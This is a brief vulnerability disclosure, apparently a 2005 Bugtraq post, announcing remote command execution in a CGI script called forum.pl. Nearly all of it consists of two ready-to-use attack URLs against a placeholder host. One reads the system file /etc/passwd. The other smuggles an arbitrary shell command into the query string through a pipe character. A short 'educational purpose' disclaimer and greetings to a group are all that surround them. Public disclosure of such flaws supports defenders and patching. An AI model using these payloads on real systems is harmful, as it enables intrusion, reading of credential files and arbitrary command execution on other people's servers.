QUOTE

remote command execution in forum.pl script

IT IS ONLY FOR SECURITY AND EDUCATIONAL PURPOSE

1)file showing
http://www.target.com/cgi-bin/forum.pl?/etc/passwd

2)remote code execution
http://www.target.com/cgi-bin/forum.pl?|command

greetz to all magattack memebers



Source: http://seclists.org/lists/bugtraq/2005/Apr/0412.html